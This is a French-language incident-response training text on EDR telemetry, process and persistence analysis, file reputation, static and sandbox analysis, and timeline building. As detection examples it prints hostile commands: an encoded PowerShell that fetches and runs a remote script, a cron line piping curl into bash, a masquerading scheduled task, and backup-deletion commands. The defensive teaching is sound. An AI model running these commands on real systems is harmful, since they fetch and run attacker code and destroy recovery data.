3Analyse l’activité des terminaux avec l’EDR
Les enregistrements des terminaux expliquent quel programme est à l’origine d’un fichier, d’une connexion ou d’une modification de paramètre. Tu suivras l’ascendance des processus, examineras les arguments des commandes et repéreras les déclencheurs qui permettent à un attaquant de revenir. Windows, Linux et macOS laissent des artefacts différents, mais l’investigation pose les mêmes questions pratiques : qu’est-ce qui a changé, qui en est à l’origine, était-ce autorisé et quels autres hôtes présentent la même activité ?
3.1 Utilise l’EDR et la télémétrie des terminaux
La télémétrie des terminaux relie les preuves réseau et les fichiers au programme qui en est à l’origine. L’EDR enregistre l’activité des terminaux, détecte les comportements suspects et permet l’investigation et la réponse à distance. Son historique peut révéler une activité que l’état actuel d’un fichier ne montre plus.
Choisis la bonne source
L’antivirus traditionnel se concentre sur le blocage des fichiers connus comme malveillants. L’EDR ajoute l’historique des processus, fichiers, registres, connexions et ouvertures de session. Le XDR rassemble les preuves provenant des terminaux et des sources réseau, de messagerie, d’identité et du cloud. Le MDM gère les téléphones et les tablettes : son inventaire et ses enregistrements de conformité peuvent révéler des applications non approuvées, un accès root ou un débridage, et il permet des actions comme le verrouillage ou l’effacement d’appareils.
Les événements du journal de sécurité Windows fournissent des repères utiles :
| Événement | Activité |
|---|---|
| 4688 | Un processus a été créé ; l’inclusion de la ligne de commande exige une stratégie distincte. |
| 4624 | Une ouverture de session a réussi. |
| 4698 | Une tâche planifiée a été créée, lorsque l’audit requis est activé. |
| 4697 | Un service a été installé. |
| 4720 | Un compte utilisateur a été créé. |
L’événement système 7045 enregistre aussi l’installation d’un service. Windows stocke les événements dans des fichiers .evtx qui peuvent être exportés pour des recherches structurées. Sous Linux, utilise auditd, les journaux d’authentification et le journal système.
Utilise l’identité de processus de Sysmon
Sysmon est disponible comme fonctionnalité facultative intégrée à Windows 11 et Windows Server 2025 et comme téléchargement Sysinternals pour les autres systèmes. L’événement 1 enregistre la création d’un processus avec la ligne de commande complète, le parent, les empreintes et un GUID de processus. Ce GUID distingue les différents processus même lorsque le système d’exploitation réutilise un PID.
Les autres événements utiles sont 3 pour les connexions réseau, 11 pour la création de fichier, 12–14 pour les modifications du registre et 22 pour les requêtes DNS. L’événement 3 est désactivé par défaut, car il peut générer un volume important. Vérifie la configuration active avant d’interpréter l’absence d’un événement comme une absence d’activité.
Pars d’une alerte pour poursuivre l’investigation
Commence par l’hôte, l’utilisateur, la détection et l’arbre des processus. Identifie ce qui a lancé le processus, ce que celui-ci a lancé et les fichiers, valeurs de registre et destinations qu’il a utilisés. Étends la chronologie avant et après l’alerte ; l’horodatage d’une détection ne correspond pas nécessairement au début de l’intrusion.
Pars d’une empreinte pour trouver tous les hôtes qui possèdent ce fichier, ou d’une destination pour trouver tous ceux qui l’ont contactée. La prévalence apporte du contexte : un programme inconnu sur un hôte parmi 5 000 est inhabituel, tandis qu’un logiciel présent sur tous les hôtes peut être déployé de façon standard. Compare les deux cas aux logiciels approuvés et aux comportements attendus ; une activité malveillante étendue peut elle aussi avoir une prévalence élevée.
Ordonne les actions de réponse et vérifie la visibilité
L’EDR peut isoler un hôte, arrêter un processus, mettre en quarantaine ou recueillir un fichier, bloquer une empreinte et ouvrir une session d’investigation à chaud. L’isolement conserve normalement la connexion de gestion tout en restreignant les autres accès réseau. Suis le scénario de réponse et recueille les preuves nécessaires avant les actions qui détruisent la mémoire des processus ou modifient les fichiers.
Vérifie l’état de fonctionnement du capteur lorsque la console semble silencieuse : installation, transmissions récentes, configuration et signes d’altération. Un agent arrêté crée une lacune de visibilité et peut lui-même faire partie de l’intrusion.
Points clés
- L’EDR fournit un historique des terminaux et des moyens de réponse ; le XDR relie les sources ; le MDM gère les appareils mobiles.
- Confirme la configuration de l’audit et du capteur avant de tirer des conclusions d’événements manquants.
- Utilise les GUID de processus pour distinguer les instances de processus malgré la réutilisation des PID.
- Poursuis l’investigation à travers les arbres des processus, les chronologies des hôtes, les empreintes et les destinations.
- Recueille les preuves nécessaires et vérifie l’état des capteurs lorsque tu prends des décisions de réponse.
3.2 Analyse les processus et les lignes de commande
Le nom d’un processus n’est qu’un champ parmi d’autres dans une investigation. Vérifie ensemble le chemin de son exécutable, son parent, son utilisateur, sa ligne de commande, sa signature et son empreinte. Conserve le PID avec son heure de démarrage, ou utilise un GUID de processus, pour éviter de relier différents processus ayant réutilisé le même PID.
Compare le nom, le chemin et le parent
Un svchost.exe normal s’exécute depuis C:\Windows\System32, est lancé par services.exe et possède normalement un argument de groupe -k. lsass.exe s’exécute depuis le même répertoire système en une seule instance, lancée par wininit.exe ; services.exe a aussi ce parent. Explorer s’exécute normalement pour chaque utilisateur connecté et son parent userinit.exe se termine. L’absence d’un parent encore actif pour Explorer doit donc être interprétée autrement que le lancement d’un processus système par Word.
Un nom très proche comme scvhost.exe, un nom système dans C:\Users\Public ou un parent inhabituel pour LSASS suggère un camouflage. Office qui lance un interpréteur de commandes est une autre piste sérieuse : suis WINWORD.EXE ou EXCEL.EXE jusqu’à cmd.exe, PowerShell, wscript.exe ou mshta.exe. Sur un serveur Web, w3wp.exe qui lance un interpréteur de commandes suggère un web shell.
Lis ce qu’on demande aux outils signés
Les LOLBins sont des programmes système légitimes détournés par un attaquant. certutil.exe peut télécharger un fichier avec -urlcache -split -f ; mshta.exe peut exécuter une application HTML depuis une URL ; rundll32.exe et regsvr32.exe peuvent exécuter du code de DLL ou de script. bitsadmin.exe peut transférer des fichiers et wmic process call create lance des processus. Leurs signatures valides indiquent les éditeurs des programmes, tandis que le parent et les arguments révèlent leur utilisation dans ce cas.
Les options PowerShell comme -nop, -w hidden, -ExecutionPolicy Bypass et -enc méritent un examen attentif. IEX exécute du texte comme du code ; iwr et DownloadString récupèrent du contenu. La journalisation des blocs de script, événement 4104, peut révéler le contenu décodé des scripts.
Décode avant de juger
PowerShell -EncodedCommand utilise du texte UTF-16LE encodé en Base64. Pour -enc aQB3AHIAIABoAHQAdABwADoALwAvADEAOQA4AC4ANQAxAC4AMQAwADAALgA3AC8AYQAuAHAAcwAxACAAfAAgAGkAZQB4AA==, applique From Base64 dans CyberChef, puis Decode text réglé sur UTF-16LE. Le résultat est :
iwr http://198.51.100.7/a.ps1 | iex
iwr récupère le script et le pipeline le transmet à iex pour exécution. Cela permet d’exécuter du code sans enregistrer le script téléchargé dans un fichier. Des lettres séparées par des octets nuls après le décodage Base64 indiquent qu’il manque l’interprétation UTF-16LE.
Retrace une chaîne de processus dans l’ordre : Outlook ouvre invoice.docm dans Word ; Word lance un interpréteur de commandes ; PowerShell contacte le serveur et écrit upd.exe ; le nouvel exécutable démarre son propre trafic. Relie chaque étape aux événements enregistrés. Un agent de déploiement signé peut aussi utiliser du PowerShell encodé pour une installation approuvée : examine donc le contenu décodé et l’autorisation.
Sous Linux, examine les exécutables dans /tmp ou /dev/shm, curl transmis à bash par un pipeline, un interpréteur de commandes redirigé vers un socket distant ou /proc/<pid>/exe marqué « (deleted) ». Un processus utilisateur nommé [kworker/0:1] est suspect s’il possède un exécutable sur disque : les vrais fils d’exécution du noyau descendent de kthreadd, PID 2, et n’ont pas de fichier exécutable.
Points clés
- Évalue l’identité complète et l’activité du processus, notamment son chemin, son parent et ses arguments.
- Compare les noms des processus système aux chemins et parents attendus.
- Un outil système signé peut effectuer une action commandée par un attaquant.
- Décode PowerShell en Base64 puis en UTF-16LE et examine la commande obtenue.
- Suis l’ascendance des processus jusqu’aux téléchargements, créations de fichiers et connexions ultérieures.
- Utilise les chemins des exécutables Linux et leurs parents pour vérifier les noms trompeurs de processus.
3.3 Repère les mécanismes de persistance
La persistance donne à un attaquant un moyen de retrouver une capacité d’exécution ou un accès après des interruptions comme une fermeture de session ou un redémarrage. Un hôte peut contenir plusieurs mécanismes, chacun doté d’un déclencheur distinct. Consigne l’emplacement, la cible, les horodatages et l’empreinte du fichier avant de supprimer une entrée.
Examine les emplacements de démarrage automatique sous Windows
Les clés Run sous HKCU\Software\Microsoft\Windows\CurrentVersion s’appliquent à l’utilisateur actuel ; celui-ci peut les modifier sans droits d’administrateur. La clé Run HKLM correspondante s’applique à tous les utilisateurs et exige des droits élevés pour être modifiée. RunOnce permet une exécution unique ; HKLM RunOnce s’exécute lorsqu’un administrateur ouvre une session après un redémarrage. Les entrées Run se déclenchent à l’ouverture de session, pas lorsqu’un fichier est copié sur le disque.
Les dossiers de démarrage lancent aussi du contenu à l’ouverture de session. Vérifie le dossier AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup de l’utilisateur et le dossier partagé C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp. Les événements de registre Sysmon 12–14 et l’événement de fichier 11 aident à dater ces modifications.
Les tâches planifiées peuvent se déclencher à intervalles réguliers, à une heure donnée ou lors d’un événement :
schtasks /create /sc minute /mo 30 /tn "GoogleUpdateTaskCore" /tr "C:\Users\Public\upd.exe"
Cette commande exécute la cible toutes les 30 minutes, soit 48 fois par jour. Le nom rassurant de la tâche n’identifie pas l’éditeur de la cible. Examine l’événement de sécurité 4698 lorsque l’audit est activé, le journal opérationnel du Planificateur de tâches et les définitions sous C:\Windows\System32\Tasks.
Les services peuvent démarrer au lancement du système, souvent en tant que SYSTEM. Examine l’événement système 7045 ou l’événement de sécurité 4697 et le chemin d’image configuré. Un nouveau service qui se lance depuis un dossier public ou exécute PowerShell mérite de l’attention.
Les abonnements aux événements WMI relient un filtre d’événement à une action de consommateur et peuvent assurer la persistance sans fichier de démarrage ; Sysmon 19–21 enregistre leurs composants et leur liaison. Examine aussi les nouveaux comptes et les appartenances au groupe des administrateurs, les fichiers du serveur Web, les extensions de navigateur et les DLL inattendues chargées par détournement de l’ordre de recherche.
Vérifie Linux et macOS
Sous Linux, examine crontab -l pour chaque utilisateur, /etc/crontab, /etc/cron.d/, les fichiers d’unité systemd dans /etc/systemd/system/, les fichiers de démarrage de l’interpréteur de commandes et ~/.ssh/authorized_keys. Répertorie les unités avec systemctl list-unit-files. macOS utilise des LaunchAgents et des LaunchDaemons avec des définitions sous forme de listes de propriétés ; vérifie leurs programmes et déclencheurs configurés.
Dans une crontab utilisateur, */10 * * * * curl -s http://198.51.100.7/s.sh | bash télécharge et exécute un script toutes les 10 minutes. Les champs indiquent la minute, l’heure, le jour du mois, le mois et le jour de la semaine. Une nouvelle clé SSH crée une autre voie d’accès, même après une réinitialisation du mot de passe.
Compare et relie les constats
Autoruns rassemble de nombreux emplacements de démarrage automatique Windows dans une même vue. Masquer les éditeurs de confiance peut réduire le nombre d’entrées lors d’un premier passage, mais réexamine les entrées signées lorsque d’autres preuves les mettent en cause. Compare avec un hôte sain issu de la même image et avec la référence de fonctionnement approuvée.
Par exemple, une valeur Run appelée OneDriveUpdate pointe vers un fichier odu.exe non signé dans le profil itinérant d’un utilisateur. Les heures de création du fichier et de la valeur de registre sont 9 h 15 UTC, une minute après l’exécution d’une macro suspecte. Cette concordance temporelle et le chemin de la cible relient l’entrée de démarrage automatique à l’intrusion. Continue à examiner les autres emplacements après l’avoir trouvée : une tâche planifiée ou un service pourrait restaurer la même charge utile.
Points clés
- Identifie le déclencheur et la cible de chaque entrée de persistance.
- Vérifie les clés Run, les dossiers de démarrage, les tâches, les services et les abonnements WMI sous Windows.
- Vérifie cron, systemd, les fichiers de démarrage de l’interpréteur de commandes et les clés SSH sous Linux, ainsi que les éléments de lancement macOS.
- Compare les entrées à une référence connue comme saine et à la chronologie de l’infection.
- Consigne chaque mécanisme avant sa suppression et poursuis les recherches après le premier constat.
3.4 Repère les modifications des fichiers, des logiciels et de la configuration d’un hôte
Un hôte compromis présente des modifications au-delà de son arbre des processus. Recherche les nouveaux fichiers et logiciels, les paramètres de sécurité affaiblis, l’utilisation inhabituelle des ressources et les fichiers rassemblés en vue d’un transfert. Compare ces éléments au rôle de l’hôte et à l’ordre des événements.
Lis les modifications des fichiers et leur provenance
Les programmes et scripts dans C:\Users\Public, %TEMP%, %APPDATA% ou /tmp méritent de l’attention lorsqu’ils sont inattendus. Une double extension comme invoice.pdf.exe cache le rôle réel du fichier. Des renommages massifs, de nouvelles extensions et des demandes de rançon dans de nombreux dossiers constituent un schéma de rançongiciel bien plus probant qu’un seul fichier inconnu.
Les dates des fichiers peuvent être manipulées. L’événement Sysmon 2 enregistre les modifications de l’heure de création d’un fichier, appelées falsification des horodatages. Compare l’historique des événements à la date visible avant de conclure qu’un fichier d’apparence ancienne est antérieur à l’incident.
Windows ajoute souvent le flux de données alternatif Zone.Identifier aux téléchargements provenant d’Internet. Cette marque du Web peut contenir l’URL source, tandis que l’événement Sysmon 15 peut enregistrer la création du flux. Préserve le flux avec le fichier lors de sa collecte ; les méthodes de copie ou d’extraction peuvent le supprimer, si bien que son absence seule constitue une preuve faible de l’origine.
Recherche les défenses affaiblies
Les modifications à examiner comprennent la désactivation de la protection en temps réel, de nouvelles exclusions antivirus, des règles de pare-feu entrantes, l’activation récente de RDP, de nouveaux administrateurs locaux et la réduction des paramètres d’audit. L’événement de sécurité 1102 enregistre l’effacement du journal d’audit de sécurité. Mets ces modifications en corrélation avec l’utilisateur ou le processus responsable et les opérations de maintenance approuvées.
Des commandes comme vssadmin delete shadows /all /quiet suppriment les copies instantanées de volumes, et wbadmin delete catalog supprime le catalogue de sauvegarde. Les attaquants les utilisent pour entraver le rétablissement avant le chiffrement par rançongiciel. Leur apparition exige une escalade immédiate selon le scénario de réponse, pendant que l’équipe vérifie l’activité des processus et des fichiers autour de ces commandes.
Compare les logiciels et l’utilisation des ressources
Un logiciel d’assistance à distance signé peut tout de même fournir un accès non autorisé. Compare l’inventaire EDR ou MDM à la liste approuvée et aux enregistrements de déploiement. Examine les outils d’extraction d’identifiants, les scanneurs ou les outils de transfert cloud comme rclone sur un hôte qui n’a pas de besoin approuvé de les utiliser.
Un logiciel de minage peut pousser l’utilisation du processeur ou du processeur graphique près de 100 % et contacter un groupe de minage, parfois à l’aide d’une adresse stratum+tcp://. Une utilisation élevée se produit aussi dans des charges de travail légitimes : relie donc la charge à un processus et à une destination. Un disque qui se remplit, un épuisement de la mémoire et des plantages répétés de services peuvent indiquer une collecte de données ou une exploitation qui échoue.
Relie la préparation des données au trafic sortant
La préparation des données avant exfiltration consiste à rassembler des éléments avant leur exfiltration. De grandes archives .7z ou .rar dans un dossier public ou temporaire, une protection par mot de passe et des parties d’archive de taille égale sont des pistes utiles. Identifie le processus qui les a créées, les fichiers rassemblés et l’heure de l’opération.
Si un processus non approuvé crée des parties d’archive puis envoie un transfert volumineux, cette séquence relie la préparation au transfert. Les données de flux mesurent le trafic, mais ne peuvent pas révéler le contenu des archives. Utilise les preuves relatives aux processus et aux accès aux fichiers pour déterminer ce qui a été rassemblé ; la taille de l’archive seule ne permet pas d’établir quels enregistrements ont quitté l’organisation.
Points clés
- Compare les fichiers suspects à leur historique de création enregistré, sans te limiter aux dates visibles.
- Examine les modifications de sécurité, l’effacement des journaux et les actions qui entravent le rétablissement.
- Vérifie l’approbation des logiciels, même lorsqu’un outil d’accès à distance est signé.
- Relie la consommation de ressources et les artefacts de préparation des données à un processus responsable.
4Analyse les fichiers suspects et leur réputation
Un fichier suspect peut être vérifié sous plusieurs angles avant que son rôle soit clair. Tu identifieras son contenu, interpréteras sa réputation en contexte, examineras les chaînes de caractères et la structure, puis observeras une exécution contrôlée dans un bac à sable. Ces méthodes fournissent différents types de preuves : une signature ou une importation suggère une origine ou une capacité, tandis qu’une exécution enregistrée montre un comportement. Ensemble, elles orientent la recherche suivante sur les systèmes touchés.
4.1 Vérifie la réputation des fichiers, des empreintes, des domaines et des adresses IP
La réputation ajoute un contexte extérieur aux preuves locales. Elle peut permettre d’identifier un fichier connu, de révéler un domaine récemment enregistré ou de montrer des signalements d’abus récents. L’ancienneté du résultat, ses conséquences pour la confidentialité et son lien avec cet hôte comptent autant que son score.
Identifie le fichier exact
Une empreinte cryptographique donne au contenu d’un fichier un identifiant de longueur fixe. MD5 utilise 32 caractères hexadécimaux, SHA-1 en utilise 40 et SHA-256 en utilise 64. Des attaques par collision réalisables affaiblissent MD5 et SHA-1 : utilise donc SHA-256 pour identifier les preuves.
Get-FileHash .\file.exe -Algorithm SHA256
certutil -hashfile file.exe SHA256
Sous Linux, utilise sha256sum file. La modification d’un seul octet change radicalement l’empreinte : les débuts des empreintes SHA-256 de « invoice » et « Invoice » sont 52d6e3de4fa0dcc2 et b832002da297545f. Un attaquant peut recompiler une charge utile ou y ajouter du remplissage pour échapper à une recherche d’empreinte exacte. Les empreintes floues comme ssdeep comparent la similarité ; imphash regroupe les fichiers PE selon leurs importations.
Interprète un rapport de réputation
VirusTotal combine plusieurs moteurs, relations et rapports d’analyse. Un résultat de 58/72 signifie qu’environ 81 % des moteurs ont signalé le fichier ; 3/72 signifie environ 4 %. Un faible nombre peut correspondre à une fausse alerte ou à une nouvelle menace. Lis les noms des détections, la première soumission, les noms de fichier observés, la signature et l’infrastructure contactée en tenant compte du rapport. Zéro détection laisse ouverte la question du comportement.
La recherche d’une empreinte évite d’envoyer le contenu du fichier, mais révèle l’empreinte qui t’intéresse. Si le service possède déjà le fichier, l’empreinte peut l’identifier. Les téléversements partagent l’échantillon réel et peuvent l’exposer aux abonnés ou à un attaquant qui surveille les soumissions. Vérifie d’abord l’empreinte ; conserve les contenus confidentiels dans des systèmes privés d’analyse approuvés.
Une signature valide renforce la confiance dans l’origine, mais le vol de certificats et le détournement d’outils système signés restent possibles. Vérifie à la fois la validité de la signature et la correspondance entre le signataire et le produit annoncé. Évalue ensuite la commande ou le comportement observé du fichier.
Lis le contexte des domaines et des adresses IP
Les données d’enregistrement peuvent révéler le bureau d’enregistrement et la date de création, même lorsque les coordonnées du titulaire sont masquées. RDAP est le protocole faisant autorité pour les données d’enregistrement des domaines génériques de premier niveau depuis la transition de janvier 2025 ; les outils peuvent encore appeler leur vue « WHOIS ». Un domaine créé deux jours avant une campagne d’hameçonnage est un signal d’alerte utile. Le DNS passif ajoute les anciennes associations d’adresses et la transparence des certificats les noms figurant sur les certificats émis.
AbuseIPDB regroupe les signalements d’abus concernant les adresses IP. Vérifie les dates et le service signalé : une adresse IP du cloud peut avoir changé de client. GeoIP fournit une localisation approximative de l’infrastructure, pas une localisation fiable de la personne derrière un VPN, Tor ou un service cloud. L’hébergement partagé et les réseaux de diffusion de contenu rendent aussi les blocages étendus d’adresses IP perturbateurs.
Privilégie les preuves qui résistent aux changements
La pyramide de la douleur classe les empreintes, les adresses IP, les domaines, les artefacts sur les hôtes et le réseau, les outils et les techniques de l’attaquant selon la difficulté croissante qu’il rencontre pour les modifier. Les empreintes exactes sont faciles à remplacer. Une détection de Word lançant un programme de téléchargement et établissant une persistance peut rester utile après le changement de l’empreinte du fichier et de la destination. Conserve les indicateurs de courte durée avec des dates de révision ou d’expiration, tout en consignant le comportement qui les a produits.
Points clés
- Utilise SHA-256 pour identifier les fichiers exacts et reconnais qu’un fichier modifié possède une nouvelle empreinte.
- Interprète les rapports de détection avec le comportement, les dates, les signatures et les relations.
- La recherche d’une empreinte révèle ton intérêt ; le téléversement d’un fichier révèle l’échantillon lui-même.
- Vérifie en contexte l’ancienneté de l’enregistrement, le DNS passif et les signalements IP récents.
- GeoIP localise approximativement l’infrastructure et les adresses IP partagées exigent un traitement prudent.
- Les détections comportementales résistent aux changements qui mettent en échec le blocage d’empreintes ou d’adresses IP.
4.2 Effectue une analyse statique élémentaire
L’analyse statique examine un fichier sans l’exécuter. Elle aide à identifier ce qu’est réellement le fichier, les capacités qu’il peut contenir et ce qu’un bac à sable doit surveiller. Distingue les indices de capacité des comportements effectivement observés.
Identifie le type et le contenu lisible
Les extensions sont faciles à modifier. Examine les octets magiques avec file, une visionneuse hexadécimale ou l’opération Detect File Type de CyberChef :
| Premiers octets | Format probable |
|---|---|
4D 5A, ou MZ | Famille des exécutables Windows |
25 50 44 46, ou %PDF | |
50 4B 03 04, ou PK | ZIP, y compris les conteneurs Office récents |
7F 45 4C 46 | Exécutable ELF Linux |
Une pièce jointe appelée invoice.pdf qui commence par MZ se fait passer pour un document. Confirme la structure, car une courte signature seule ne constitue qu’une première vérification du type.
GNU strings -a file.exe extrait le texte ASCII dans tout le fichier. strings -a -e l file.exe extrait le texte UTF-16LE, courant dans les programmes Windows. FLOSS et Strings de Sysinternals peuvent aider à couvrir les deux. Recherche les domaines, URL, commandes, chemins de registre, noms de fichiers et messages d’erreur. Le texte extrait peut être inutilisé ou trompeur : conserve donc son emplacement et confronte-le aux comportements observés par la suite.
Lis les indices de structure et de compression
Un exécutable PE possède des en-têtes, des sections comme .text, .data et .rsrc, ainsi qu’une table d’importation des fonctions qu’il demande. VirtualAllocEx, WriteProcessMemory et CreateRemoteThread ensemble suggèrent une possible injection de code. URLDownloadToFile et InternetOpenUrl suggèrent une capacité de téléchargement. Un horodatage de compilation peut être falsifié et doit être corroboré.
Les packers compressent ou chiffrent le code et le décompressent en mémoire. Peu de chaînes, une courte liste d’importations, des sections UPX0/UPX1 et une entropie élevée suggèrent une compression par un packer. L’entropie approche 8 bits par octet pour des données d’apparence très aléatoire, mais des ressources compressées et des programmes d’installation ordinaires peuvent présenter les mêmes caractéristiques. La compression change la manière de mener l’investigation ; elle ne suffit pas à conclure.
Décode le texte et teste une correspondance
Les recettes CyberChef peuvent combiner Base64, hexadécimal, XOR, décompression et décodage d’URL. Applique les opérations dans l’ordre nécessaire au contenu. Une expression régulière comme \b(?:\d{1,3}\.){3}\d{1,3}\b extrait du texte ressemblant à une adresse IPv4, mais correspond aussi à 999.1.1.1 : valide donc les résultats possibles.
Une règle YARA peut combiner des caractéristiques indépendantes :
rule Suspicious_Downloader
{
strings:
$mz = { 4D 5A }
$a = "DownloadString" ascii wide
$b = "198.51.100.7"
condition:
$mz at 0 and $a and $b
}
Le fichier doit commencer par MZ et contenir les deux chaînes ; ascii wide accepte la chaîne de téléchargement dans l’une ou l’autre représentation. Teste la règle sur des fichiers connus comme sains pour mesurer les correspondances accidentelles. Une correspondance établit que les conditions de la règle sont remplies ; l’examen de l’analyste permet de déterminer ce qu’elles signifient.
Pour les documents, extrais les macros avec olevba. Pour les scripts, supprime l’encodage ou l’obfuscation sous forme de texte. Utilise les fonctions, arguments et indicateurs obtenus pour configurer et interpréter l’analyse dynamique.
Points clés
- Identifie le type réel d’un fichier à partir de sa structure et de ses octets, au-delà de son extension.
- Extrais les chaînes ASCII et UTF-16LE lors de l’examen d’échantillons Windows.
- Utilise les importations et les indicateurs de compression pour formuler des hypothèses vérifiables sur les capacités.
- Valide les indicateurs décodés et les correspondances des expressions régulières.
- Lis chaque condition YARA et teste les règles sur des contenus connus comme sains.
4.3 Effectue et interprète une analyse en bac à sable
L’analyse dynamique exécute un échantillon dans un environnement contrôlé et enregistre ses actions. Un bac à sable peut révéler le comportement caché par la compression ou le contenu actif d’un document. Son rapport décrit cette exécution avec cette configuration ; vérifie si l’échantillon disposait de ce dont il avait besoin pour agir.
Configure une exécution utile
Utilise un environnement isolé et instrumenté comme Joe Sandbox, Cuckoo ou un bac à sable interactif. Sépare-le de la production, contrôle son accès réseau et réinitialise-le à un instantané sain après chaque exécution. Les services réseau peuvent être simulés avec INetSim ou FakeNet, ou acheminés par une infrastructure d’analyse approuvée. Garde les échantillons confidentiels dans des systèmes privés.
Choisis le système d’exploitation et les applications adaptés à la cible. Un document à macros nécessite l’environnement Office correspondant ; une archive peut nécessiter son mot de passe ; un programme peut exiger des arguments, des clics, un parent particulier ou un redémarrage. Consigne ces paramètres et la durée d’exécution pour qu’un autre analyste puisse interpréter le résultat.
Lis les actions derrière le score
Examine l’arbre des processus, les modifications de fichiers et du registre, l’activité DNS et HTTP, les connexions, les captures d’écran et les empreintes des fichiers déposés. Un rapport peut aussi montrer des mutex et des correspondances ATT&CK. Un mutex coordonne l’accès exclusif à une ressource ; un logiciel malveillant utilise parfois un nom de mutex distinctif pour éviter d’exécuter deux copies. Les logiciels légitimes utilisent aussi des mutex.
Prenons l’exécution d’un document qui produit la chaîne Word → PowerShell masqué et encodé, une recherche de cdn-update.example.net, une requête HTTP GET pour /a.ps1, C:\Users\Public\upd.exe et une entrée Run pointant vers ce fichier. Recueille le domaine, l’adresse IP, l’URL, l’empreinte du fichier déposé, le chemin et la valeur Run. PowerShell étaye la correspondance avec T1059.001 et l’entrée Run celle avec T1547.001. La transmission par pièce jointe d’hameçonnage nécessite des preuves distinctes issues du courriel pour T1566.001.
Relie les affirmations du rapport aux événements enregistrés. Un score global élevé aide à hiérarchiser un échantillon, mais les actions des processus expliquent ce qui s’est passé et quels indicateurs sont utiles dans ton environnement.
Examine un échantillon inactif
Un logiciel malveillant peut rester en veille au-delà de la période d’observation, détecter le matériel virtuel, examiner les ressources mémoire ou processeur, attendre des clics ou exiger une langue ou un emplacement particulier. Un téléchargement qui échoue peut aussi empêcher l’étape suivante de s’exécuter. Vérifie à nouveau les dépendances et les résultats statiques avant de considérer une exécution inactive comme rassurante.
Choisis une nouvelle exécution qui teste une explication concrète : prolonge la durée pour tester une attente, fournis l’application ou les arguments requis, ajoute une interaction ou utilise un autre profil de système d’exploitation. Consigne les modifications. Si une incertitude importante subsiste, transmets l’échantillon à un spécialiste de la rétro-ingénierie.
Réutilise les résultats dans le dossier
Recherche les domaines, chemins, empreintes et comportements pertinents dans les enregistrements DNS, du proxy, du pare-feu et de l’EDR. Les mises à jour Windows, vérifications de certificats et tests de connectivité d’un bac à sable sont des activités de fond ; distingue-les des actions provoquées par l’échantillon avant de bloquer des destinations.
Un bac à sable peut fournir des pistes de recherche pour d’autres hôtes, mais son exécution isolée ne permet pas d’établir quels hôtes de production ont été infectés. Fais correspondre les pistes aux événements locaux et à l’historique des processus, puis préserve ces enregistrements avec le rapport et l’empreinte de l’échantillon.
Points clés
- Adapte les dépendances, les arguments, les interactions et la durée du bac à sable à l’échantillon.
- Examine les actions enregistrées et les artefacts déposés derrière le score global.
- Associe l’exécution et la persistance observées aux techniques correspondantes, séparément des preuves de transmission.
- Teste des raisons précises de l’inactivité et combine les résultats dynamiques et statiques.
- Écarte le trafic de fond avant d’utiliser les indicateurs du bac à sable dans les recherches en production.
5Mets en corrélation les éléments de preuve et détermine si l’activité est malveillante
Un dossier défendable relie les enregistrements sans perdre leur source ni exagérer leur portée. Tu aligneras les fuseaux horaires et les identités, distingueras les observations des hypothèses et décriras les comportements étayés à l’aide d’ATT&CK. La conclusion finale combine les autorisations, les preuves techniques et l’impact métier. Des notes claires, des références aux preuves et des enregistrements de traçabilité rendent ce jugement utile aux intervenants qui le reçoivent.
5.1 Mets en corrélation les éléments de preuve pour établir une chronologie
La corrélation relie les enregistrements pour produire un récit de l’incident qu’un autre analyste peut vérifier. Le courriel peut établir la transmission, la télémétrie du terminal peut établir l’exécution et les preuves réseau peuvent établir la communication. Une chronologie utile distingue ces observations des liens de causalité que tu vérifies encore.
Normalise les heures et les identités
Convertis les heures en UTC et conserve le fuseau d’origine ainsi que tout décalage d’horloge connu. Une heure EDR de 11:14:31 en UTC+2 correspond à 09:14:31 UTC. Confirme si la console ou l’export a converti les horodatages UTC d’origine d’un capteur. Une dérive de l’horloge malgré NTP peut laisser plusieurs minutes d’écart entre les sources, même après conversion des fuseaux horaires.
Choisis des champs de liaison qui identifient le même objet à ce moment-là : hôte, utilisateur, empreinte, URL, domaine, Message-ID, uid Zeek ou GUID de processus. Un PID nécessite une heure de démarrage, car il peut être réutilisé. Une adresse IP nécessite l’historique DHCP ou VPN, car un bail ultérieur peut l’attribuer à un autre hôte. Conserve chaque enregistrement source ou référence de requête à côté de l’entrée de chronologie.
Construis la chaîne des événements observés
Pour un dossier, les preuves en UTC sont les suivantes :
- 09:12:05 : un message contenant
invoice.docmarrive dans 40 boîtes aux lettres. - 09:14:10 : l’utilisateur sur
WS-0423ouvre la pièce jointe. - 09:14:31 : Word lance du PowerShell encodé.
- 09:14:32–33 : DNS résout le nom de l’hôte de téléchargement et une requête HTTP GET demande
/a.ps1. - 09:15:02 :
upd.exeest écrit et une valeur Run est créée. - À partir de 09:20:00 : les connexions se répètent toutes les 300 secondes.
- La nuit suivante, de 2 h 10 à 2 h 50 : 2,4 Go sont envoyés vers la même adresse IP.
Les preuves relatives aux processus et aux fichiers étayent les liens d’exécution et de persistance. Le transfert volumineux nécessite une attribution supplémentaire : le partage d’une adresse IP avec un trafic antérieur est moins probant que le partage d’une même instance de processus et d’un même canal applicatif.
Associe uniquement ce que les preuves étayent
MITRE ATT&CK fournit des noms standard pour les comportements. Le message étaye la technique de la pièce jointe d’hameçonnage ciblé, T1566.001 ; PowerShell étaye T1059.001 ; l’entrée Run étaye T1547.001. L’association du trafic périodique à une commande et un contrôle par protocole Web, T1071.001, nécessite des preuves de HTTP ou HTTPS. L’association du transfert à une exfiltration par ce canal C2, T1041, nécessite des preuves que le même processus et le même canal l’ont transporté.
ATT&CK n’est pas une séquence imposée. La découverte, l’accès aux identifiants et le déplacement latéral sont des recherches complémentaires possibles, pas des étapes manquantes à insérer nécessairement dans la chronologie.
Utilise les lacunes pour choisir la prochaine requête
Si le transfert dépasse le volume des propres fichiers de l’utilisateur, cherche si le processus a lu des partages, généré des données, répété des transferts ou coïncidé avec du trafic légitime. Trouve l’expéditeur et le contenu transféré lorsqu’ils sont disponibles. Consigne un événement inexpliqué comme tel au lieu de le faire entrer de force dans la première hypothèse.
Teste activement une autre explication, comme une modification ou une sauvegarde approuvée. Le biais de confirmation apparaît lorsqu’un analyste ne recueille que les faits qui correspondent au premier diagnostic. Une chronologie devient plus utile lorsque chaque lien incertain indique les preuves qui le renforceraient ou l’affaibliraient.
Points clés
- Normalise les horodatages en UTC et conserve les fuseaux des sources et les décalages d’horloge.
- Relie les instances de processus, les attributions d’adresses et les autres identités au moment de l’événement.
- Distingue les événements observés des liens de causalité proposés.
